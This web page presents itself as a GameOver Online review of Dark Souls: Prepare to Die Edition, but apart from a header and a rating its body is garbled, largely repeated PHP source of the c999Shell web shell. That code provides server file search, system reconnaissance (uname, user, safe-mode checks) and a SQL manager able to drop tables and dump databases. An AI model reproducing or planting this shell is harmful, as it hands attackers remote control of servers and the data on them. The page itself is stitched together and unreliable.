Game Over Online ~ Dark Souls: Prepare to Die Edition

GameOver Game Reviews - Dark Souls: Prepare to Die Edition (c) Namco Bandai, Reviewed by - Brian Mardiney

Game & Publisher Dark Souls: Prepare to Die Edition (c) Namco Bandai
System Requirements Windows XP/Vista/7, Intel Core 2 Duo E6850 GHz or AMD Phenom II X2 545 3.0 GHz CPU, 2GB RAM, nVIDIA GeForce 9800 GTX+ or ATI Radeon HD 4870+ Video Card, 8 GB HDD
Overall Rating 40%
Date Published Friday, September 21st, 2012 at 11:20 AM


";

if ($tbl_struct)

{

echo "

Divider Left By: Brian Mardiney Divider Right



 
Fields:
";

foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» ".$name."
";}

echo "

";

}

}

if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}

}

}

if (!function_exists("mysql_create_db"))

{

function mysql_create_db($db,$sock="")

{

$sql = "CREATE DATABASE `".addslashes($db)."`;";

if ($sock) {return mysql_query($sql,$sock);}

else {return mysql_query($sql);}

}

}

if (!function_exists("mysql_query_parse"))

{

function mysql_query_parse($query)

{

$query = trim($query);

$arr = explode (" ",$query);

/*array array()

{

"METHOD"=>array(output_type),

"METHOD1"...

...

}

if output_type == 0, no output,

if output_type == 1, no output if no error

if output_type == 2, output without control-buttons

if output_type == 3, output with control-buttons

*/

$types = array(

"SELECT"=>array(3,1),

"SHOW"=>array(2,1),

"DELETE"=>array(1),

"DROP"=>array(1)

);

$result = array();

$op = strtoupper($arr[0]);

if (is_array($types[$op]))

{

$result["propertions"] = $types[$op];

$result["query"] = $query;

if ($types[$op] == 2)

{

foreach($arr as $k=>$v)

{

if (strtoupper($v) == "LIMIT")

{

$result["limit"] = $arr[$k+1];

$result["limit"] = explode(",",$result["limit"]);

if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}

unset($arr[$k],$arr[$k+1]);

}

}

}

}

else {return FALSE;}

}

}

if (!function_exists("c999fsearch"))

{

function c999fsearch($d)

{

global $found;

global $found_d;

global $found_f;

global $search_i_f;

global $search_i_d;

global $a;

if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}

$h = opendir($d);

while (($f = readdir($h)) !== FALSE)

{

if($f != "." && $f != "..")

{

$bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));

if (is_dir($d.$f))

{

$search_i_d++;

if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}

if (!is_link($d.$f)) {c999fsearch($d.$f);}

}

else

{

$search_i_f++;

if ($bool)

{

if (!empty($a["text"]))

{

$r = @file_get_contents($d.$f);

if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}

if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}

if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}

else {$bool = strpos(" ".$r,$a["text"],1);}

if ($a["text_not"]) {$bool = !$bool;}

if ($bool) {$found[] = $d.$f; $found_f++;}

}

else {$found[] = $d.$f; $found_f++;}

}

}

}

}

closedir($h);

}

}

if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}

//Sending headers

@ob_start();

@ob_implicit_flush(0);

function onphpshutdown()

{

global $gzipencode,$ft;

if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))

{

$v = @ob_get_contents();

@ob_end_clean();

@ob_start("ob_gzHandler");

echo $v;

@ob_end_flush();

}

}

function c999shexit()

{

onphpshutdown();

exit;

}

header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");

header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");

header("Cache-Control: no-store, no-cache, must-revalidate");

header("Cache-Control: post-check=0, pre-check=0", FALSE);

header("Pragma: no-cache");

if (empty($tmpdir))

{

$tmpdir = ini_get("upload_tmp_dir");

if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}

}

$tmpdir = realpath($tmpdir);

$tmpdir = str_replace("",DIRECTORY_SEPARATOR,$tmpdir);

if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}

if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}

else {$tmpdir_logs = realpath($tmpdir_logs);}

if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")

{

$safemode = TRUE;

$hsafemode = "ON (secure)";

}

else {$safemode = FALSE; $hsafemode = "OFF (not secure)";}

$v = @ini_get("open_basedir");

if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "".$v."";}

else {$openbasedir = FALSE; $hopenbasedir = "OFF (not secure)";}

$sort = htmlspecialchars($sort);

if (empty($sort)) {$sort = $sort_default;}

$sort[1] = strtolower($sort[1]);

$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");

if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}

$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()."",htmlspecialchars($DISP_SERVER_SOFTWARE));

@ini_set("highlight.bg",$highlight_bg); //FFFFFF

@ini_set("highlight.comment",$highlight_comment); //#FF8000

@ini_set("highlight.default",$highlight_default); //#0000BB

@ini_set("highlight.html",$highlight_html); //#000000

@ini_set("highlight.keyword",$highlight_keyword); //#007700

@ini_set("highlight.string",$highlight_string); //#DD0000

if (!is_array($actbox)) {$actbox = array();}

$dspact = $act = htmlspecialchars($act);

$disp_fullpath = $ls_arr = $notls = null;

$ud = urlencode($d);

?><?php echo getenv("HTTP_HOST"); ?> - phpshell

!c999Shell v. !

Software:  

uname -a: ",1); ?> 

",1);} else {echo get_current_user();} ?> 

Safe-mode: 

$d = str_replace("",DIRECTORY_SEPARATOR,$d);

if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}

$d = str_replace("",DIRECTORY_SEPARATOR,$d);

if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}

$d = str_replace("\","",$d);

$dispd = htmlspecialchars($d);

$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));

$i = 0;

foreach($pd as $b)

{

$t = "";

$j = 0;

foreach ($e as $r)

{

$t.= $r.DIRECTORY_SEPARATOR;

if ($j == $i) {break;}

$j++;

}

echo "".htmlspecialchars($b).DIRECTORY_SEPARATOR."";

$i++;

}

echo "   ";

if (is_writable($d))

{

$wd = TRUE;

$wdt = "[ ok ]";

echo "".view_perms(fileperms($d))."";

}

else

{

$wd = FALSE;

$wdt = "[ Read-Only ]";

echo "".view_perms_color($d)."";

}

if (is_callable("disk_free_space"))

{

$free = disk_free_space($d);

$total = disk_total_space($d);

if ($free === FALSE) {$free = 0;}

if ($total === FALSE) {$total = 0;}

if ($free < 0) {$free = 0;}

if ($total < 0) {$total = 0;}

$used = $total-$free;

$free_percent = round(100/($total/$free),2);

echo "
Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)";

}

echo "
";

$letters = "";

if ($win)

{

$v = explode("",$d);

$v = $v[0];

foreach (range("a","z") as $letter)

{

$bool = $isdiskette = in_array($letter,$safemode_diskettes);

if (!$bool) {$bool = is_dir($letter.":");}

if ($bool)

{

$letters .= "[ ";

if ($letter.":" != $v) {$letters .= $letter;}

else {$letters .= "".$letter."";}

$letters .= " ] ";

}

}

if (!empty($letters)) {echo "Detected drives: ".$letters."
";}

}

if (count($quicklaunch) > 0)

{

foreach($quicklaunch as $item)

{

$item[1] = str_replace("%d",urlencode($d),$item[1]);

$item[1] = str_replace("%sort",$sort,$item[1]);

$v = realpath($d."..");

if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}

$item[1] = str_replace("%upd",urlencode($v),$item[1]);

echo "".$item[0]."    ";

}

}

echo "


";

if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "
".$donated_html."

";}

echo "
";

if ($act == "") {$act = $dspact = "ls";}

if ($act == "sql")

{

$sql_surl = $surl."act=sql";

if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}

if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}

if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}

if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}

if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}

$sql_surl .= "&";

?>

Attention! SQL-Manager is NOT ready module! Don't reports bugs.

";

if (!$sql_sock) {?>

if ($sql_server)

{

$sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);

$err = mysql_smarterror();

@mysql_select_db($sql_db,$sql_sock);

if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}

}

else {$sql_sock = FALSE;}

echo "SQL Manager:
";

if (!$sql_sock)

{

if (!$sql_server) {echo "NO CONNECTION";}

else {echo "

Can't connect
"; echo "".$err."";}

}

else

{

$sqlquicklaunch = array();

$sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");

$sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));

$sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");

$sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");

$sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");

$sqlquicklaunch[] = array("Logout",$surl."act=sql");

echo "

MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - "".htmlspecialchars($sql_passwd)."")
";

if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}

echo "

";

}

echo "

i
  • If login is null, login is owner of process.
  • If host is null, host is localhost
  • If port is null, port is 3306 (default)
  • else

    {

    //Start left panel

    if (!empty($sql_db))

    {

    ?>

     Please, fill the form:
    UsernamePassword Database 
    HostPORT
    ">Home
    $result = mysql_list_tables($sql_db);

    if (!$result) {echo mysql_smarterror();}

    else

    {

    echo "---[ ".htmlspecialchars($sql_db)." ]---
    ";

    $c = 0;

    while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].")
    "; mysql_free_result($count); $c++;}

    if (!$c) {echo "No tables found in database.";}

    }

    }

    else

    {

    ?>

    Home
    $result = mysql_list_dbs($sql_sock);

    if (!$result) {echo mysql_smarterror();}

    else

    {

    ?>


    Please, select database
    }

    //End left panel

    echo "

    ";

    //Start center panel

    $diplay = TRUE;

    if ($sql_db)

    {

    if (!is_numeric($c)) {$c = 0;}

    if ($c == 0) {$c = "no";}

    echo "


    There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").
    ";

    if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}

    echo "

    ";

    $acts = array("","dump");

    if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}

    elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` n";} $sql_act = "query";}

    elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}

    elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}

    elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}

    elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}

    elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}

    elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}

    elseif ($sql_tbl_act == "insert")

    {

    if ($sql_tbl_insert_radio == 1)

    {

    $keys = "";

    $akeys = array_keys($sql_tbl_insert);

    foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}

    if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}

    $values = "";

    $i = 0;

    foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}

    if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}

    $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";

    $sql_act = "query";

    $sql_tbl_act = "browse";

    }

    elseif ($sql_tbl_insert_radio == 2)

    {

    $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);

    $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";

    $result = mysql_query($sql_query) or print(mysql_smarterror());

    $result = mysql_fetch_array($result, MYSQL_ASSOC);

    $sql_act = "query";

    $sql_tbl_act = "browse";

    }

    }

    if ($sql_act == "query")

    {

    echo "


    ";

    if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
    ".$sql_query_error."
    ";}

    if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}

    if ((!$submit) or ($sql_act)) {echo "
    "; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "



     
    ";}

    }

    if (in_array($sql_act,$acts))

    {

    ?>
    Create new table:
     
    Dump DB:
    "> 
    if (!empty($sql_act)) {echo "


    ";}

    if ($sql_act == "newtbl")

    {

    echo "";

    if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB "".htmlspecialchars($sql_newdb)."" has been created with success!
    ";

    }

    else {echo "Can't create DB "".htmlspecialchars($sql_newdb)."".
    Reason: ".mysql_smarterror();}

    }

    elseif ($sql_act == "dump")

    {

    if (empty($submit))

    {

    $diplay = FALSE;

    echo "

    SQL-Dump:

    ";

    echo "DB: 

    ";

    $v = join (";",$dmptbls);

    echo "Only tables (explode ";") 1: 

    ";

    if ($dump_file) {$tmp = $dump_file;}

    else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}

    echo "File: 

    ";

    echo "Download:  

    ";

    echo "Save to file:  ";

    echo "



    1 - all, if empty";

    echo "

    ";

    }

    else

    {

    $diplay = TRUE;

    $set = array();

    $set["sock"] = $sql_sock;

    $set["db"] = $sql_db;

    $dump_out = "download";

    $set["print"] = 0;

    $set["nl2br"] = 0;

    $set[""] = 0;

    $set["file"] = $dump_file;

    $set["add_drop"] = TRUE;

    $set["onlytabs"] = array();

    if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}

    $ret = mysql_dump($set);

    if ($sql_dump_download)

    {

    @ob_clean();

    header("Content-type: application/octet-stream");

    header("Content-length: ".strlen($ret));

    header("Content-disposition: attachment; filename="".basename($sql_dump_file)."";");

    echo $ret;

    exit;

    }

    elseif ($sql_dump_savetofile)

    {

    $fp = fopen($sql_dump_file,"w");

    if (!$fp) {echo "Dump error! Can't write to "".htmlspecialchars($sql_dump_file).""!";}

    else

    {

    fwrite($fp,$ret);

    fclose($fp);

    echo "Dumped! Dump has been writed to "".htmlspecialchars(realpath($sql_dump_file))."" (".view_size(filesize($sql_dump_file)).").";

    }

    }

    else {echo "Dump: nothing to do!";}

    }

    }

    if ($diplay)

    {

    if (!empty($sql_tbl))

    {

    if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}

    $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");

    $count_row = mysql_fetch_array($count);

    mysql_free_result($count);

    $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");

    $tbl_struct_fields = array();

    while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}

    if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}

    if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}

    if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}

    if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}

    $perpage = $sql_tbl_le - $sql_tbl_ls;

    if (!is_numeric($perpage)) {$perpage = 10;}

    $numpages = $count_row[0]/$perpage;

    $e = explode(" ",$sql_order);

    if (count($e) == 2)

    {

    if ($e[0] == "d") {$asc_desc = "DESC";}

    else {$asc_desc = "ASC";}

    $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";

    }

    else {$v = "";}

    $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";

    $result = mysql_query($query) or print(mysql_smarterror());

    echo "


    Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)
    ";

    echo "Structure ]   ";

    echo "Browse ]   ";

    echo "Dump ]   ";

    echo "Insert ]   ";

    if ($sql_tbl_act == "structure") {echo "

    Coming sooon!";}

    if ($sql_tbl_act == "insert")

    {

    if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}

    if (!empty($sql_tbl_insert_radio))

    {

    }

    else

    {

    echo "

    Inserting row into table:
    ";

    if (!empty($sql_tbl_insert_q))

    {

    $sql_query = "SELECT * FROM `".$sql_tbl."`";

    $sql_query .= " WHERE".$sql_tbl_insert_q;

    $sql_query .= " LIMIT 1;";

    $result = mysql_query($sql_query,$sql_sock) or print("

    ".mysql_smarterror());

    $values = mysql_fetch_assoc($result);

    mysql_free_result($result);

    }

    else {$values = array();}

    echo "

    ";

    foreach ($tbl_struct_fields as $field)

    {

    $name = $field["Field"];

    if (empty($sql_tbl_insert_q)) {$v = "";}

    echo "

    ";

    $i++;

    }

    echo "

    FieldTypeFunctionValue
    ".htmlspecialchars($name)."".$field["Type"]."

    ";

    echo "Insert as new row";

    if (!empty($sql_tbl_insert_q)) {echo " or Save"; echo "";}

    echo "

    ";

    }

    }

    if ($sql_tbl_act == "browse")

    {

    $sql_tbl_ls = abs($sql_tbl_ls);

    $sql_tbl_le = abs($sql_tbl_le);

    echo "


    ";

    echo "Pages ";

    $b = 0;

    for($i=0;$i<$numpages;$i++)

    {

    if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";}

    echo $i;

    if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";}

    if (($i/30 == round($i/30)) and ($i > 0)) {echo "
    ";}

    else {echo " ";}

    }

    if ($i == 0) {echo "empty";}

    echo "

    From:  To:  
    ";

    echo "

    ";

    echo "

    ";

    echo "

    ";

    for ($i=0;$i {

    $v = mysql_field_name($result,$i);

    if ($e[0] == "a") {$s = "d"; $m = "asc";}

    else {$s = "a"; $m = "desc";}

    echo "

    ";

    }

    echo "

    ";

    echo "

    ";

    while ($row = mysql_fetch_array($result, MYSQL_ASSOC))

    {

    echo "

    ";

    $w = "";

    $i = 0;

    foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}

    if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}

    echo "

    ";

    $i = 0;

    foreach ($row as $k=>$v)

    {

    $v = htmlspecialchars($v);

    if ($v == "") {$v = "NULL";}

    echo "

    ";

    $i++;

    }

    echo "

    ";

    echo "

    ";

    }

    mysql_free_result($result);

    echo "

    ";

    if (empty($e[0])) {$e[0] = "a";}

    if ($e[1] != $v) {echo "".$v."";}

    else {echo "".$v."";}

    echo "

    Action
    ".$v."";

    echo "Delete ";

    echo "Edit ";

    echo "


    ";

    if ($tbl_struct)

    {

    echo "

    "; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":



     
    Fields:
    ";

    foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» ".$name."
    ";}

    echo "

    ";

    }

    }

    if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}

    }

    }

    if (!function_exists("mysql_create_db"))

    {

    function mysql_create_db($db,$sock="")

    {

    $sql = "CREATE DATABASE `".addslashes($db)."`;";

    if ($sock) {return mysql_query($sql,$sock);}

    else {return mysql_query($sql);}

    }

    }

    if (!function_exists("mysql_query_parse"))

    {

    function mysql_query_parse($query)

    {

    $query = trim($query);

    $arr = explode (" ",$query);

    /*array array()

    {

    "METHOD"=>array(output_type),

    "METHOD1"...

    ...

    }

    if output_type == 0, no output,

    if output_type == 1, no output if no error

    if output_type == 2, output without control-buttons

    if output_type == 3, output with control-buttons

    */

    $types = array(

    "SELECT"=>array(3,1),

    "SHOW"=>array(2,1),

    "DELETE"=>array(1),

    "DROP"=>array(1)

    );

    $result = array();

    $op = strtoupper($arr[0]);

    if (is_array($types[$op]))

    {

    $result["propertions"] = $types[$op];

    $result["query"] = $query;

    if ($types[$op] == 2)

    {

    foreach($arr as $k=>$v)

    {

    if (strtoupper($v) == "LIMIT")

    {

    $result["limit"] = $arr[$k+1];

    $result["limit"] = explode(",",$result["limit"]);

    if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}

    unset($arr[$k],$arr[$k+1]);

    }

    }

    }

    }

    else {return FALSE;}

    }

    }

    if (!function_exists("c999fsearch"))

    {

    function c999fsearch($d)

    {

    global $found;

    global $found_d;

    global $found_f;

    global $search_i_f;

    global $search_i_d;

    global $a;

    if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}

    $h = opendir($d);

    while (($f = readdir($h)) !== FALSE)

    {

    if($f != "." && $f != "..")

    {

    $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));

    if (is_dir($d.$f))

    {

    $search_i_d++;

    if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}

    if (!is_link($d.$f)) {c999fsearch($d.$f);}

    }

    else

    {

    $search_i_f++;

    if ($bool)

    {

    if (!empty($a["text"]))

    {

    $r = @file_get_contents($d.$f);

    if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}

    if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}

    if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}

    else {$bool = strpos(" ".$r,$a["text"],1);}

    if ($a["text_not"]) {$bool = !$bool;}

    if ($bool) {$found[] = $d.$f; $found_f++;}

    }

    else {$found[] = $d.$f; $found_f++;}

    }

    }

    }

    }

    closedir($h);

    }

    }

    if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}

    //Sending headers

    @ob_start();

    @ob_implicit_flush(0);

    function onphpshutdown()

    {

    global $gzipencode,$ft;

    if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))

    {

    $v = @ob_get_contents();

    @ob_end_clean();

    @ob_start("ob_gzHandler");

    echo $v;

    @ob_end_flush();

    }

    }

    function c999shexit()

    {

    onphpshutdown();

    exit;

    }

    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");

    header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");

    header("Cache-Control: no-store, no-cache, must-revalidate");

    header("Cache-Control: post-check=0, pre-check=0", FALSE);

    header("Pragma: no-cache");

    if (empty($tmpdir))

    {

    $tmpdir = ini_get("upload_tmp_dir");

    if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}

    }

    $tmpdir = realpath($tmpdir);

    $tmpdir = str_replace("",DIRECTORY_SEPARATOR,$tmpdir);

    if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}

    if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}

    else {$tmpdir_logs = realpath($tmpdir_logs);}

    if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")

    {

    $safemode = TRUE;

    $hsafemode = "ON (secure)";

    }

    else {$safemode = FALSE; $hsafemode = "OFF (not secure)";}

    $v = @ini_get("open_basedir");

    if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "".$v."";}

    else {$openbasedir = FALSE; $hopenbasedir = "OFF (not secure)";}

    $sort = htmlspecialchars($sort);

    if (empty($sort)) {$sort = $sort_default;}

    $sort[1] = strtolower($sort[1]);

    $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");

    if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}

    $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()."",htmlspecialchars($DISP_SERVER_SOFTWARE));

    @ini_set("highlight.bg",$highlight_bg); //FFFFFF

    @ini_set("highlight.comment",$highlight_comment); //#FF8000

    @ini_set("highlight.default",$highlight_default); //#0000BB

    @ini_set("highlight.html",$highlight_html); //#000000

    @ini_set("highlight.keyword",$highlight_keyword); //#007700

    @ini_set("highlight.string",$highlight_string); //#DD0000

    if (!is_array($actbox)) {$actbox = array();}

    $dspact = $act = htmlspecialchars($act);

    $disp_fullpath = $ls_arr = $notls = null;

    $ud = urlencode($d);

    ?><?php echo getenv("HTTP_HOST"); ?> - phpshell

    !c999Shell v. !

    Software:  

    uname -a: ",1); ?> 

    ",1);} else {echo get_current_user();} ?> 

    Safe-mode: 

    $d = str_replace("",DIRECTORY_SEPARATOR,$d);

    if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}

    $d = str_replace("",DIRECTORY_SEPARATOR,$d);

    if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}

    $d = str_replace("\","",$d);

    $dispd = htmlspecialchars($d);

    $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));

    $i = 0;

    foreach($pd as $b)

    {

    $t = "";

    $j = 0;

    foreach ($e as $r)

    {

    $t.= $r.DIRECTORY_SEPARATOR;

    if ($j == $i) {break;}

    $j++;

    }

    echo "".htmlspecialchars($b).DIRECTORY_SEPARATOR."";

    $i++;

    }

    echo "   ";

    if (is_writable($d))

    {

    $wd = TRUE;

    $wdt = "[ ok ]";

    echo "".view_perms(fileperms($d))."";

    }

    else

    {

    $wd = FALSE;

    $wdt = "[ Read-Only ]";

    echo "".view_perms_color($d)."";

    }

    if (is_callable("disk_free_space"))

    {

    $free = disk_free_space($d);

    $total = disk_total_space($d);

    if ($free === FALSE) {$free = 0;}

    if ($total === FALSE) {$total = 0;}

    if ($free < 0) {$free = 0;}

    if ($total < 0) {$total = 0;}

    $used = $total-$free;

    $free_percent = round(100/($total/$free),2);

    echo "
    Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)";

    }

    echo "
    ";

    $letters = "";

    if ($win)

    {

    $v = explode("",$d);

    $v = $v[0];

    foreach (range("a","z") as $letter)

    {

    $bool = $isdiskette = in_array($letter,$safemode_diskettes);

    if (!$bool) {$bool = is_dir($letter.":");}

    if ($bool)

    {

    $letters .= "[ ";

    if ($letter.":" != $v) {$letters .= $letter;}

    else {$letters .= "".$letter."";}

    $letters .= " ] ";

    }

    }

    if (!empty($letters)) {echo "Detected drives: ".$letters."
    ";}

    }

    if (count($quicklaunch) > 0)

    {

    foreach($quicklaunch as $item)

    {

    $item[1] = str_replace("%d",urlencode($d),$item[1]);

    $item[1] = str_replace("%sort",$sort,$item[1]);

    $v = realpath($d."..");

    if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}

